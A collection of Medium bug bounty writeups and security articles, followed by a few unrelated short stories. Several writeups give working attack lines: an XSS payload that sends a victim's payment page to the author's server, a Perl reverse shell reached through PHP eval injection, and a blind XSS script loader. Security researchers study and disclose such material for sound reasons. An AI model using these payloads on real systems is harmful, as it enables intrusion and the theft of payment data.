fabiochiu/medium-articles huggingface dataset:
Facebook Vulnerability: Disclose “Caption/Description” of a country restricted post
By: Ritish Kumar Singh
Tags: Vulnerability, Facebookpages, Hacking, Facebook, Bug Bounty

Description:

When a page has enabled the “Country Restriction”, then the users of the restricted country are not allowed to view the description of the post (or) the post as a whole.

But here,users of restricted country are able to disclose the “Caption/Description” of a post published by a page which has enabled the “Country Restriction”.

Impact:

“Caption/Description” of the post are used to summarize the post as a whole. So it’s disclosure to unintended users does pose a privacy issue.

Reproduction Steps:

The endpoint is GET /v2.5/{PAGE_ID}_{POST_fbid}?access_token={TOKEN} HTTP/1.1 Replace PAGE_ID and POST_fbid parameters with the targeted values. The response is as follows:

{

“created_time”: “2019–03–26T02:59:39+0000”,

“message”: “CAPTION”,

“id”: “{PAGE_ID}_{POST_fbid}”

}

4. In the above response, the “message” parameter gave us the Caption/Description of the country restricted post.

Timeline:

28-Mar-2019 : Report Sent

15-May-2019 : Reproduced by Kamala

22-May-2019 : Triaged by Lily

31-Oct-2019 : Bounty of $500 awarded

19-Feb-2020 : Fixed by facebook

Limitation:

An attacker would need to obtain the post IDs in some way in order to load the data and these restrictions may be bypassable in other ways (ie: via the use of VPNs).

How I convinced the team?

Please understand that Facebook Bug Bounty is concerned with the flaws within the facebook infrastructure. Also, if you are concerned with alternatives like VPN, then there is no point of introducing “Country Restriction” feature.

1) Use of VPN is illegal/banned in countries like China,Iraq,Russia etc., (thebestvpn.com/are-vpns-legal-banned-countries). So why would attackers choose illegal ways of using VPN, if they can achieve the same goal within facebook?

2) Also, not all desired locations can be accessed via VPN. I think this clarifies the VPN question.

Thanks for reading!
Introducing Bug Bounty Program for Oraichain and its ecosystem
Tags: Oraichain, Airi, Orai, Ai Oracle, Bug Bounty

Introducing Bug Bounty Program for Oraichain and its ecosystem Oraichain Follow Jul 6 · 3 min read

Oraichain recognizes the community’s value in bringing security and completeness to Oraichain and its ecosystem. We welcome and seek to reward eligible contributions from community users, system engineers, and developers.

If you believe you have found a UI bug or a security vulnerability on Oraichain and its products, we encourage you to let us know right away. We will investigate all legitimate reports and do our best to fix the problems quickly.

Bug bounty program scope and submission

Here is the list of Oraichain products that are in the scope of this Bug Bounty program:

The form to report the issue is: https://forms.gle/cHBMk1sYjGjXxqkh7

Rewards

We determine bounty amounts based on several factors, including (but not limited to) impact, ease of exploitation, and quality of the report. The minimum reward for a UI bug is 1 point and for a security issue is 10 points.

We collect your bounty points every 2 weeks, and the conversion is 2 points = 1 ORAI.

Agreements and Policies
Install haktrails on Kali Linux
Tags: Recon, Kali Linux, Securitytrails, Subdomain, Bug Bounty

haktrails : (subdomain) recon tool for bug bounty.

Instructions to Install haktrails on Kali Linux.

Note : This tool uses SecurityTrails API Key. You can register with them to get free API Key — https://securitytrails.com/app/signup?plan=api-0

▶ Requirement : go Lang (https://www.youtube.com/watch?v=dr2Wo7qETZ8)

▶ Check : go version

▶ Run : go get github.com/hakluke/haktrails

▶ Run : cp /root/go/bin/haktrails /usr/local/go/bin/

▶ Run : mkdir ~/.config/haktools/

▶ Run : nano ~/.config/haktools/haktrails-config.yml

Add below lines in the file and replace <yourkey> with your API key —

securitytrails:

key: <yourkey>

Save and Exit.

▶ Run (help) : haktrails

▶ Check : haktrails banner

▶ Check (API usage — Free API Key allows only 50 DNS queires per month) : haktrails usage

▶ Check (API Key Status) : haktrails ping

▶ Usage / Example : echo “yahoo.com” | haktrails subdomains

▶ More Info : https://github.com/hakluke/haktrails

▶ Note : Above mentioned paths may be different for you. So please work accordingly.

Thank You..!!

Ping us on Instagram : https://www.instagram.com/Infosec97/
Hacking Microservices For Fun and Bounty
By: Mayank Pandey
Tags: Cybersecurity, Hacking, API, Microservices, Bug Bounty

Hacking Microservices For Fun and Bounty

Microservices are catching a lot of heat these days, they are on the verge of going mainstream, as according to a recent survey from Nginx, 36 percent of enterprises surveyed are currently using microservices, with another 26 percent in the research phase. But what exactly is a microservices architecture.

From a Perspective of a Penetration Tester or a Bug Bounty Hunter, it's very important to first know the core working of technology before actually testing to break it. So today let's dive into Microservices.

What Are Microservices?

Microservices is an architectural style that structures an application as a collection of small autonomous services, modeled around a business domain. It helps different services to run independently in their pod and to efficiently transfer data between each other without relying much on each other.

Source:https://www.edureka.co

How Microservices are different from Monolith and Rest APIs?

The base difference Between Traditional Architecture(Monoliths and RESTful APIs) and Microservices arises from their way of sharing resources and services within the Application All the services are separated based on their domains and functionalities and are further allotted to individual microservices. Each service in the Microservice Architecture is self-contained and implements a single business capability like User Authentication, Searching, and So on.

These microservices have their own load balancer and execution environment to execute their functionalities & at the same time captures data in their own databases. All the internal points are connected from the API Gateway. So, anybody who connects to the API Gateway automatically gets connected to the complete system

Hacking into the Services.

Microservices are leveraging complexity in code by adding complexity in interaction and More Complexity leads to More bugs. According to many studies, Microservices are considered to be four times more vulnerable than traditional monolithic applications. Due to its distributed structure, each service API and network layer expose susceptible entry points to potential attack vectors.

Usually, service calls are secured by implementing an API gateway, which acts as the single entry point to receive a call and then route traffic onto different services. This approach of having a single entry point through authentication has its own merits and demerits. Sometimes an attacker only needs to bypass the BFF/API Gateway to control the whole Architecture. This is the worst nightmare for any company

Theoretically, an API gateway limits the attack surface; however, it also turns out to be a single point of failure for potential attack vectors. Mostly the Authentication part is controlled by the gateway making it more Dangerous if bypassed. Recent research also suggests that most traditional attack vectors target an application through API calls.
Bypassing XSS filter and Stealing User Payment Data
By: Osama Avvan
Tags: Security Researchers, Bugcrowd, Xss Attack, Bug Hunting, Bug Bounty

So here is another writeup about how I bypassed XSS filter and created a payload to get user credit card data. It was a private program on bugcrowd, let’s just say it was named Redact.

Here is the URL https://www.redact.com/us/en/my-account/quotes?searchCriteria=QuoteID&amountOperator=equal&searchValue=XSS The parameter searchValue was reflected inside an input feild.

So by putting an “ I was able to break out of the input field, after that, I tried the most basic payload “><script>alert(1)</script>, but unfortunately my request was blocked by WAF. so I tried another payload “onmouseover=alert(1) and again my request was blocked by WAF.

After some playing around, I found out that anything between <> was being removed, so if type something like this “o<x>nmouseover=alert<x> 1 // <x> will be removed leaving it only with “onmouseover=alert(1)// and finally i was able to pop up a XSS.

Now there was a page which allows the user to view their payment Data https://www.redact.com/us/en/smbpro/my-account/payment-details, so I thought it would be a good idea to include this in my report that how I can get users credit card data with this XSS.

So the Payload for stealing user credit card data was this “o<x>nmouseover=$.get<x>(‘https://www.redact.com/us/en/my-account/payment-details',function<x>(res){$.post<x>('https://osamaavvan.000webhostapp.com/r.php',{res})})//

As the page was using jQuery, I requested the whole payment data page with $.get() and posted the page content to my server with $.post(), so now with this payload, I was able to get users payment data:
Important of Bug Bounty training in Pune-ICSS
Tags: Bug Bounty, Training Courses, Bug Bounty In Pune

What do mean by Bug Bounty?

Bug bounty programs allow independent security researchers to report bugs to an organization and receive rewards or compensation. These bugs are usually security exploits and vulnerabilities, though they can also include process issues, hardware flaws, and so on

Who uses bug bounty programs?

Many major organizations use bug bounties as a part of their security program, including AOL, Android, Apple, Digital Ocean, and Goldman Sachs. You can view a list of all the programs offered by major bug bounty providers, Bugcrowd and HackerOne, at these links

Why do companies use bug bounty programs?

Bug bounty programs give companies the ability to harness a large group of hackers in order to find bugs in their code.

This gives them access to a larger number of hackers or testers than they would be able to access on a one-on-one basis. It can also increase the chances that bugs are found and reported to them before malicious hackers can exploit them.

It can also be a good public relations choice for a firm. As bug bounties have become more common, having a bug bounty program can signal to the public and even regulators that an organization has a mature security program.

This trend is likely to continue, as some have started to see bug bounty programs as an industry standard which all organizations should invest in

Why do researchers and hackers participate in bug bounty programs?

Finding and reporting bugs via a bug bounty program can result in both cash bonuses and recognition. In some cases, it can be a great way to show real-world experience when you’re looking for a job, or can even help introduce you to folks on the security team inside an organization.

This can be full time income for some folks, income to supplement a job, or a way to show off your skills and get a full time job.

It can also be fun! It’s a great (legal) chance to test out your skills against massive corporations and government agencies.

Bug Bounty training in Pune by Indian Cyber Security Solutions is a certification and guidance to those individuals who are willing to flourish in the field of cyber-security. For the past 5 to 6 years ICSS has established itself as the most renowned institution for cyber-security management. By providing extraordinary services and education to its respective clients.

Taking this opportunity ICSS has introduced theBug Bounty training in Pune currently highest in demand by cyber-security professionals. Being one of the most reliable Institutions to gain knowledge and understanding of cyber-security & ethical hacking ICSS has a pool of professional certified ethical hackers who are working as security analysts in different organizations. ICSS is also a reliable partner of HackerU and EC-COUNCIL which will no doubt make ICSS one of the best Bug Bounty training institute in Pune.

For more Details you can visit to given link Below:

https://indiancybersecuritysolutions.com/bug-bounty-training-in-pune/
pyWhat — Identify Useful Information Within Files & Text
By: Skynet Tools
Tags: Information Gathering, Hacking, Cybersecurity, Bugbounty

More @ https://skynettools.com/

Imagine this: You come across some mysterious text

5f4dcc3b5aa765d61d8327deb882cf99 and you wonder what it is. What do you do?

Well, with what all you have to do is ask what “5f4dcc3b5aa765d61d8327deb882cf99” and what will tell you!

what’s job is to identify what something is. Whether it be a file or text! Or even the hex of a file! What about text within files? We have that too! what is recursive, it will identify everything in text and more!

Use Cases

Wannacry

You come across a new piece of malware called WantToCry. You think back to Wannacry and remember it was stopped because a researcher found a kill-switch in the code.

When a domain, hardcoded into Wannacry, was registered the virus would stop.

You use What to identify all the domains in the malware, and use a domain registrar API to register all the domains. If Wannacry happens again, you can stop it in minutes — not weeks.

Faster Analysis of Pcap files

Say you have a .pcap file from a network attack. What can identify this and quickly find you:

- All hashes



- Credit card numbers



- Cryptocurrency addresses



- Social Security Numbers



- and much more.

With what, you can identify the important things in the pcap in seconds, not minutes.

Anything

Anytime you have a file and you want to find structured data in it that’s useful, What is for you.

Or if you come across some piece of text and you don’t know what it is, What will tell you.

File Opening You can pass in a file path by what ‘this/is/a/file/path’. What is smart enough to figure out it’s a file!

What about a whole directory? What can handle that too! It will recursively search for files and output everything you need!

Filtration You can filter output by using what — rarity 0.2:0.8 — include_tags tag1,tag2 TEXT. Use what — help to get more information.

Sorting You can sort the output by using what -k rarity — reverse TEXT. Use what — help to get more information.

API

PyWhat has an API! Click here https://github.com/bee-san/pyWhat/wiki/API to read about it.
Recon Step/ Methodology
Tags: Recon, Information Gathering, Bug Bounty

This is just a self-note on different steps to perform while approaching a target.

1. Subdomain Enumeration

Tools:

Amass (amass enum -active -d domain.com -o amass-subdomain-result.txt)

Assetfinder (assetfinder -subs-only domain.com | anew assetfinder-subdomain-result.txt)

Subfinder (subfinder -d domain.com -o subfinder-subdomain-result.txt)

Findomain (findomain -t domain.com -u findomain-subdomain-result.txt)

Subdomain Bruteforcing:

amass (amass enum -brute -d domain.com -src)

knockpy

dnsenum

dnsrecon (python3 dnsrecon.py -d domain.com -D subdomains-top1mil-5000.txt -t brt)

Permutations:

altdns (./altdns.py -i known-subdomains.txt -o new_subdomains.txt -r -s domains-google.com.AltDNS.txt)

2. Perform ASN enumeration and find acquisitions of a target

To find acquisitions you can use crunchbase

To find ASN number (http://bgp.he.net) and asnlookup.com. Then, You can use ASN in amass to find seed domains Command: amass intel -asn 46489

3. Probing for live host

httprobe (cat final-subdomain.txt | httprobe | anew probed-subdomain.txt)

4. Take a screenshot of all probed domains and subdomains

EyeWitness (./EyeWitness.py -f probed-subdomain.txt — web -d eyewitness)

5. Perform Port Scan

Perform port scan on all found domains and subdomains. (Not only on probed domains and subdomains)

Masscan

Nmap

You can then use “dnmasscan” (a bash script to automate resolving a file of domain names and subsequentlly scanning them using masscan) to scan all the enumerated subdomains. Then use Nmap to scan further like services, running different scripts, etc. on interesting findings.

You can also use nmap and perfrom following:

nmap 10.10.10.1 -p- then run command on open ports

nmap 10.10.10.1 -p 80, 81, 22, 443 -sC -sV

Together it becomes: nmap -iL list.txt -p- -sC -sV

6. Find Amazon S3 Bucket

Using a google dork to find them: site:s3.amazonaws.com + hackme.tld

We can look them up on github: “hackme.tld” + “s3”

For Automation: Lazys3

7. Use Nuclei templates to find different vulnerabilities on the list of domains

8. Perform Google Dorking and GitHub Dorking/ Recon

Automation Approach:

Gitrob tool

GitDorker

Resource: https://securitytrails.com/blog/github-dorks

For Passive Recon:

https://www.threatcrowd.org/

https://censys.io/

https://shodan.io

https://www.zoomeye.org/

https://virustotal.com

https://hunter.io/

https://dnsdumpster.com/

https://otx.alienvault.com/

https://crt.sh/

https://www.whoxy.com/

https://pentest-tools.com/information-gathering/google-hacking#
How i was able to bypass parental pin of showmax
By: Abdoul Gadiri Balde
Tags: Bug Bounty Writeup, Bug Bounty Tips, Bug Bounty

Showmax is a streaming service that offers a wide variety of award-winning TV shows, movies, anime, documentaries,

After i saw a disclosed report in Twitter by @lordjerry0x01 https://hackerone.com/reports/1077520

I said wawww , 2000$. for parental pin bypass , let me bypass the pin too As i have the same flow of @zseano, i hack the main app

The game begin

I started by create an account then clicking in each button to understand how the app works

after a few minute i found the parental control endpoint , now i added a code pin in kids profile so that, kids who dont has 18+ can’t watch adults serie

when browsing my burp history , i have found this https://www.showmax.com/eng/parentalControlForm/%2Fhome/true

i decide to take a look this url , because most of the time you can bypass the protecting by changing from True to false , false to true

when i copied and paste the url in kids profile , its disclose the parental pin

Steps To Reproduce:

login in to your showmax account add parental pin Go to https://www.showmax.com/eng/home click watch triller you will asked for parental pin enter this url in your brower https://www.showmax.com/eng/parentalControlForm/%2Fhome/true you will get the parental pin without confirming your password now you change the parental pin , and you can bypass the password confirmation , for parental control

here the disclosed report https://hackerone.com/reports/1121169

thank you for taking your time to my report

you can found me in twitter https://twitter.com/moodiAbdoul
Formation Beta Testing is now live!
By: Darren Goh
Tags: Announcements, Naos Finance, Ethereum, Defi, Bug Bounty

We’re launching Formation beta testing tomorrow!

( 9th of June 0:00 (UTC+0)）

Our goals are to:

Allow the community to familiarize themselves with the product and its usage Identify any bug, glitch, typo and areas of improvements Receive feedback and suggestions on the overall incentive and structural design

We’ve allocated 10,000 NAOS tokens for the top contributors in a two week testing period. The rules are as follows:

1 )We’ll airdrop 250 NAOS tokens to each of the 10 lucky participants who completed ALL of the following tasks:

a ) Retweet & Like the Beta Testing Thread on Twitter

b ) Join our Discord community

c ) Join our Telegram community

d )Claim mock DAI and NAOS tokens from the Faucet

e ) Deposit mock DAI into Vault

f ) Borrow mock nUSD from Vault

g )Stake mock nUSD in Transmuter

h )Stake mock nUSD in Staking Pool

i ) Provide liquidity in the mock NAOS:ETH pool in Uniswap

j ) Stake mock NAOS:ETH LP token in the LP pool

k )Claim mock NAOS rewards from any one of the pools

l ) Repay all or part of the mock nUSD debt

m )Withdraw the deposited mock DAI

2 ) We’ll airdrop 1,500 NAOS tokens to each of the top 3 bug finders, the severity assessment will be based on the Immunefi Severity Classification System.

3 ) We’ll airdrop 1,000 NAOS tokens to the top 3 suggestions on user experience improvement, measured by the number of suggestions that the team actually uses to improve the product

Note: if multiple participants submitted the same bug finding or user experience improvement suggestion, priority will be given to those with more specific explanations/solutions!

Bug finding and improvement suggestions to be submitted here:

https://forms.gle/Z7MaHXNXgE1FEshN8
My First Bounty :)
Tags: Cyber Security Awareness, Bug Bounty

Osu! Mina-san

I’ll be telling y’all how I got my first bounty after six months of hunting regularly.

It was an unlisted program, let’s call it example.com. (Always wanted to say this :”) )

So I started hunting on the site with some basic sub-domain enumeration and validation. After validating the sub-domains now it was time to start fuzzing these babies to get some sensitive info. (Evil laugh)

I started my Virtual Machine and started fuzzing the list of sub-domains, at first I did not find anything impactful which sadly continued till the end of the list until I got a ‘test’ endpoint. Normally this endpoint wouldn’t disclose anything crucial but luckily it redirected me to some private data being leaked and there you have it. (Private data being leaked: CV of a personal employee)

URL: https://abc.example.com/test

Tool: https://github.com/maurosoria/dirsearch

– – – – – – – – – – – – – – – – – – – –

Reported on: 26th March 7:33 PM

Triaged on: 26th March 8:27 PM

Rewarded on: 2nd April with 1,000 Rs gift card :)

Thanks for reading, until next time.

Saraba da!
PancakeSwap Content Injection Bug Fix Postmortem
Tags: Binance Smart Chain, Pancakeswap, Blockchain, Immunefi, Bug Bounty

PancakeSwap Content Injection Bug Fix Postmortem Immunefi Follow Jun 8 · 2 min read

Summary:

Whitehat Kadabra from $SLAM Token team discovered a web content injection vulnerability that would have allowed a malicious user to inject any arbitrary text on PancakeSwap’s website. Kadabra reported this vulnerability to Immunefi on May 21, and we rated it as critical. PancakeSwap has paid the whitehat a bounty of $7,500 and patched the vulnerability. The vulnerability does not appear to have been exploited by any malicious users.

Vulnerability Analysis:

PancakeSwap uses Crowdin, a localization management platform. Localization describes the process of translating a site’s text into the various languages of users. However, the API key that was being used to create localizations was not a read-only API key, but rather had full write access to the whole system. This meant that a malicious user could have created a new localization and overwritten existing localizations, such as English, which is the main language used on PancakeSwap’s website, and injected arbitrary content. For example, a malicious user could have changed the text on the site to direct users to a phishing site or ask users to swap a particular token, among other things.

The whitehat provided a POC by making an inconsequential edit to a little-used localization on the site.

The step by step execution of the attack is as follows:

Step 1: Navigate to PancakeSwap’s website

Step 2: Inspect the network traffic upon changing the language

Step 3: Extract the API key from the headers of the “GET” request: https://api.crowdin.com/api/v2/projects/422458/languages/es-ES/translations?field=6&limit=200

Step 4: Create a new translation using the Crowdin API documentation: https://supportc.crowdin.com/api/v2/#operation/api.projects.translations.post

Step 5: Approve that translation: https://support.crowdin.com/api/v2/#operation/api.projects.approvals.post

Prior to being patched, once the translation was approved, any added or altered text would have appeared on the PancakeSwap website instantly.

Vulnerability Fix:

After receiving the report via Immunefi, PancakeSwap revoked the API token, blocking the content injection attack.

Acknowledgements:

We’d like to thank the Pancakeswap team for their rapid and effective response to the bug report. We’d also like to thank Kadabra for his tremendous work in finding and reporting the critical vulnerability. PancakeSwap paid out a bounty of $7,500 to the whitehat. To report additional vulnerabilities, please see PancakeSwap’s bug bounty program with Immunefi. If you’re interested in protecting your project with a bug bounty like PancakeSwap, visit the Immunefi services page and fill out the form.
How I got my first Blind XSS on Private Program
By: Raghuveer Singh Chouhan
Tags: Cybersecurity, Blind Xss, Xss Attack, Xss Vulnerability, Bug Bounty

Hello everyone, I am Raghuveer Singh Chouhan and, this is my first blog on Blind XSS. Today I will explain how I found Blind XSS on a private program.

#What is Blind XSS

Blind XSS is a flavor of cross-site scripting (XSS), where the attacker “blindly” deploys a series of malicious payloads on web pages that are likely to save them to a persistent state (like in a database, or a log file).

#Where to look for Blind XSS

1. Contact page

2. Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)

3. Address fields

4. Name field

5. forms

6. Set User-Agent to a Blind XSS payload(You can do that easily from Burp suite.)

7. Feedback page

8. Chat Applications

#! Tools for Blind Cross-Site Scripting

Normally I use XSSHunter for finding Blind XSS. There are more tools available on the Internet that are: XSSHunter, KnoXSS, bXSS Hunter, and many more.

As this was a private program so I will be using example.com

After signing in to the account now we are able to see all injecting points of the application so we can send our malicious payload to the backend team.

The application has a profile page where user can add their details like first name, last name, address, mobile no.,position,website etc. and upload a profile pic.

Right Now I have one question in my mind?

Can I inject any special character or not, if yes then I should try to inject XSS payload.

So I just tried to inject XSS payload in all input fields for reflected or stored XSS but unfortunately, the XSS payload didn’t execute.( Ignore my English & Grammar)

Now I started injecting my Blind XSS script/Payload in all the field except the field which contains email ID and Mobile No.

Payload: "><script src= "> https://@shr3e.xss.ht</a> > Tip: always check all input field

After 20–30 mins an email arrived on my Mail Account that is from XSS Hunter and it says your payload is just triggered. ‘’’’BOOM’’’’’

I just WOW!

I quickly visit my XSSHunter account to check all details about the vulnerability.

Thanks for Reading …..

Follow me :
Does Out-Of-Scope Matter ? How I made 100$ from Out-Of-Scope Asset, and Importance of Sub-Domains.
By: Mukund Bhuva
Tags: Cybersecurity, Hacking, Hackerone, Intigriti, Bug Bounty

$ whoami

Hello i’m a Security Researcher Mukund Bhuva aka ShellSpider, also play like to play CTFs like Hackthebox (Me) anyway, lets dive into the “Good Stuff”.

%00

TL;DR

We all know that XSS is a very simple bug to find, but also we know that “Simple XSS”s are already reported. So, we have to deep dive to enum and parsing payloads, but its booooooring af. And we don’t do it here.

Literally

The Company don’t want to disclose there name so i’ll refer is as redacted.com.

Finding Sub.domains.com

I personally like subfinder. So I started fuzzing subdomains and a whole lot of subdomains are there so I have to filter the working once. For that I use httprobe (TomNomNom is really great at this).

cat subfinder -d redacted.com | sort -u >> sub.domains.redacted.txt cat sub.domains.redacted.txt | httprobe | anew working-subdomain.txt

Now I have a list of working subdomains but the RVDP clearly specify that the *.redacted.com is out-of-scope.

I’ll get back there later ; let’s continue with exploit.

I find some interesting subdomains like boutique-gateway119.redacted.com. So I go straight down to Footer its copyrights are 2018. So the site is pretty old so it will be dame vulnerable.

I find a Search Functionally so i tried some basic fuzzing and find a classic XSS right there.

So instantly go to respective Responsible Disclosure Management Program and reported it.

But here is the twist and the point you all are waiting to be revealed the answer of :

“ How the freak I get paid from a out-of-scope asset ? ”

So, here is the deal OUT-OF-SCOPE doesn't matter, the only thing that matter is Data Security Capital D; Capital S; when I execute javascript:alert(document.domain + document.cookie); I found that this subdomain is leaking the cookies of account.redacted.com so it is harming the privacy of actual user. Even it is out-of-scope is; it is still exploitable and steal accounts.

And Most Importantly, people (Hackers) always focused on the vulnerability rather then impact and severity of bug.

So, If you find a little bug on a out-of-scope asset, try to exploit and enumerate sensitive data.

I specify that in the Report even it is out-of-scope asset it is leaking user data.

And a good thing is usually hunters always run-away from out-of-scope so that there is less competition.

I can’t show any POC or Images; Policies 😕.

Thanks For Reading✌️. Keep Hunting 😇.

👏
A Bug-Bounty perspective
By: Wassila Rania Harzeli
Tags: Cybersecurity, Vulnerability Assessment, Bug Bounty

Bug-bounty programs have been proved effective in attracting external attackers to find and disclose potential flaws in a responsible way, So how do hackers spread their attention and earn bounties across different programs ?

Obviously, working in many programs can help the hackers to discover more potential vulnerabilities. However, due to the increasing complexity of the systems, it becomes more and more difficult to find more potential flaws in a given program.

Furthermore, only the one who first discovers the vulnerability will gain the bounty. This means that a hacker needs to balance between diversity and concentration during the vulnerability discovery: whether to work across many different programs or just focus on few programs.

One of the best bug-bounty programs is HackerOne ,a well-known US bug bounty platform launched on Nov 2013 which hosts many different programs (132 public programs, as of April 1, 2016) offered by different companies including Yahoo!, Twitter, Adobe, Uber, etc. with an average bounty of $500.

The platform has reported several statistics about how long it takes for organizations to respond and fix a bug . The median time to address a vulnerability is 21 days, and the 75th percentile is more than 2 months. Within the time period, it is not unlikely for other hackers to find the same bug, particularly if the incentives are high, like in the case of Facebook, which paid more than $1700 per bug on average in 2015.

Finally, by investigating the costs and benefits to those running such programs and the hackers that participate in finding vulnerabilities. We find that the average cost of operating a bug bounty program for a year is now less than the cost of hiring two additional software engineers.
Bugbounty PHP Code Injection Trick to Bypass Remote Code
Tags: Remote Code Execution, Hacking, Tips And Tricks, Tricks, Bug Bounty

Injected Code Success ^_^

Remote Code Execution

The expected backend code:

<?php

$input = $_REQUEST['local'];

eval('$input');

?>

If parameter value reflects inside double quotes will execute but inside single quotes cannot execute so we used single quote to close the statement and dot sign to concatenate

'.system("command").'

================================ <?php

$input = $_REQUEST['local'];

eval(''.$input.'');

?>

Getting Reverse Shell

I am listening on 1234 port on vps and trying to get reverse shell ..

Trying by bash script and many other ways but failed [X] :(

Trying to check netcat or socat in server ? but not installed [X]

'.system("nc -v").'

not reflected any data mean not performing the command

Trying checks many languages like python , ruby and many of tools which can get reverse shell , not found but when check Perl language

found Perl v5.20

funny meme ^_^

we can get reverse shell by this code

perl -e 'use Socket;$i="<my-vps-ip>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

request syntax error because [&] sign

Failed operation because sign [&] means end the parameter and start new parameter like username=admin&password=pass

I am trying to encode this sign but not work ..

I am trying to check curl tool installed or no ? by this query

'.system("curl -v").'

It was found. good, lets bypass this operation

I am uploading Perl code on pastebin website after remove perl -e and [‘] quote ..

use Socket;$i="<my-vps-ip>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

Using curl to access this code and execute by pipe signal

Reverse Shell via Perl

BOOM !! , it’s worked and get a reverse shell

Prevent PHP code injection

- Replace or Ban arguments with & ; && |

- Avoid using exec(), shell_exec(), system() or passthru()

- Avoid using strip_tags() for sanitisation

- Use a PHP security linter

- Utilise a SAST tool to identify code injection issues

- Do not trust any data from user

Stay in touch

Linkedin | Github | Twitter |Facebook
Kami Juga Punya Keluarga (What About Our Family?)
Tags: Italy, Optimistic, Covid 19, Empathy, Story

“My second child will soon celebrate his birthday. At the bottom of my heart, I wished that we can very soon see the silver lining of this cloud so that I can blow the candles with him”, cried dr. Yuni, a doctor currently on duty at one of the hospitals in Jakarta. She is one amongst many medical staffs to treat Corona patients.

Another nurse in the same boat, S, must be quarantined after treating Corona patients. “When my kid asked me will I return home, I told him to have patience. I am on duty. That was all I could tell him. I kept on doing that every time he asks me”, trembled S as his eyes became moist.

Everything about family is a serious matter. The medical staffs are very much the same as us; they have their loved ones. Being at the frontier of our battle with the virus means they had to cut interactions with their family, not knowing whether they would be infected or not. They certainly called to a noble cause, if I may, similar to our wartime heroes until the extent that they defy themselves for the greater good. However, technology has presented itself as a means of not only long-distant communication but unlimited sources of entertainment. It has helped them to cope up with the current situation.

Meanwhile, staff from another country experienced similar events. Since March 2020, Circolo Hospital located at Varese, Lombardy which has been the epicenter of Covid-19 epidemic in Italy, was overloaded with a surge of patients. In need of more hands, the hospital embraced Tommy, one of six robots deployed for specific works related to Covid-19. “With my help, the medical staff can interact with the patients without being physically present”, marveled Tommy.

But the story is not finished with Tommy. It starts with Tommy, as the name was apparently derived from the head of ICU Fransesco Dentali’s son Tommaso. As staff could hardly return home, giving the robots the nickname of his own son cures his yearning for his family. It is as if the hospital is his own son. A little bit grim if you asked me. But a chance of sunny comes along the way.

Finally, if I’m allowed to summarize the situation, we are all tired. I think it is humane at this point. We contradictorily tirelessly wished “When will this pandemic end?” I don’t know it will be helpful or not, but nothing is eternal under the sun; our hardship should not be as well. That is a glimmer of hope, I suppose. We can all virtually support and trust them medical staffs — our modern heroes — to win this war by staying at home. Sharing laughter at times. Or any other ways each of us may find fit may it be through donation or helping impacted communities. We can do it but with one set of mind: we are not doing this for our sake. We are doing this because being present with family members should not be a luxury, it should be normal.

This, too, shall pass.

**
LISTEN: Interview with World of Tomorrow Creator Ben Lancaster
By: Ryan Dorman
Tags: Disney, Boardwalk Times, Podcast, Radio, Story

LISTEN: Interview with World of Tomorrow Creator Ben Lancaster

Hey Everyone!

On today’s special interview episode of Boardwalk Talk, we’re joined once again by Ben Lancaster to discuss his new podcast radio drama World of Tomorrow.

We ended the last show discussing some of the canceled Disney projects that never came to be. Though many centered around theme parks or attractions, we left off with a mention of Progress City, Walt Disney’s dream for a curated town focused on technological development and a new era of a modern community. Despite never being finished, Walt’s dream lives on in the minds of fans and historians alike.

You may know him from the feature film The Further Adventures of Walt’s Frozen Head, but director Ben Lancaster joins us again to talk about another project he’s been working on, a narrative podcast centered around life, and death inside Progress City. The tale begs the question, what would happen if Walt’s Fantasy and Human Reality mixed? Would it be the utopia we were promised or fall victim to the darkness that our true reality faces?

We’re extremely happy to be joined by Ben on the show again, and we hope you all check out his brilliant show before the first season, Murder in Progress, before the final episode released on April 28th.
Nosy Neighbor.
By: Queen Ahams
Tags: Writer, Funny, Stories

Nosy Neighbor.

If CNN had a junior sister it would be Mama Amaka. She was at the peak of every gossip, every fight, every chaos. When Toyosi got pregnant, she was the first to know. When Iya-Deji’s husband started to share his marital bed with the orange seller, she was the first to know. If you needed intel on anyone, not even in the compound alone, but the whole estate, she’s your go to.

What poked everyone the most was the fact that she didn’t even live in the compound, but rather sold akara at the gate. However that didn’t stop her from shoving her nose far up into everyone’s business.

It was no surprise that when the landlord’s only daughter almost tore the apartment down with her screams, she was the first one at the scene, eyes bright, ears open ready to suck in all the details.

When the rest of the tenants got there they found Mama Amaka in a death-lock. Aniola the landlord’s daughter had tackled her to the floor, arms warped tightly around her, eyes crimson red. Aniola was known as an infamous junkie, after years and years of failed rehab and therapy her parents had finally given up and made her the compound’s problem.

On another episode of her frequent displays she turned Mama Amaka to her life sized teddy, rocking her back and forth while whispering “You’re my cute teddy…. No you’re my cute teddy”

I kid you not if you were there you would roll over in laughter at the sight of Mama Amaka crying and pleading for her release, “ Biko hapu’m…. Biko nu. Comot dis pikin from ontop my body Abeg!!! Ahhh emechaala m!!!! You pepu are just standing there!!! nyere m aka!!!”

No one would blame them for there reluctance to help, they all saw this as an opportunity to teach the nosy woman a well deserved lesson. She cried and cried till they took pity on her and pried Aniola from her body.

Everyone believed that that incident was enough to rid the woman of her aproko spirit. However as I write this now, Linda has yet another strange man in her apartment, and guess who’s face is pressed against the lady’s window 🤦🏽‍♀️.
Four Witches
By: Nirinda Niatiansya
Tags: Fiction, Witch, Flash Fiction, Olde, Story

Four Witches

Photo by Mark Tegethoff on Unsplash

The law was plain. Four maidens, each one on an island. Every Full Moon, they would switch islands, until one left standing, and the god of lightning would wed her.

This time, the maidens were witch sisters.

The eldest was placed on the Island of Mirrors. The second eldest was set on the Island of Flowers. The third, on the Island of Waters, and the youngest witch, placed on the Island of Winds.

Thus was the god of lightning’s plan, for there were dangers at every turn on the islands. The mirrors would flummox them, the flowers poisonous upon touch, waters would rise, and the winds would gust them away if they dared to leave.

But it had been three Full Moons, yet all of them still stood.

The god of lightning was furious. The other gods would cachinnate at him for being so benign! The curmudgeon lifted up his lightning spear, and struck the islands.

